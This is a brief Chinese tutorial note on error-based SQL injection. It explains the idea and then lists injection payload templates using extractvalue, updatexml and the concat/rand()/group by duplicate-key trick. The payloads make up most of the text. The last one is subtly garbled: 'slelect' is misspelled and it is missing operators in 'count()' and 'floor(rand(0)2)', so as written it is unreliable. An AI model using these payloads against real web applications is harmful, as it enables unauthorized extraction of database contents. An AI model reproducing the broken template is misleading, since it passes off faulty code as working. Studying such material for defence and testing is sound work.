sql报错注入

报错注入就是利用了数据库的某些机制，人为地制造错误条件，使得查询结果能够出现在错误信息中。

xpath 报错注入

extractvalue(xml_document,Xpath_string)

id='and(select extractvalue("anything",concat('~',(select语句))))

updatexml(xml_document,xpath_string,new_value)

id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

concat+rand()+group_by()导致主键重复

'union select 1 from (select count(),concat((slelect语句),floor(rand(0)2))x from "一个足大的表" group by x)a--+
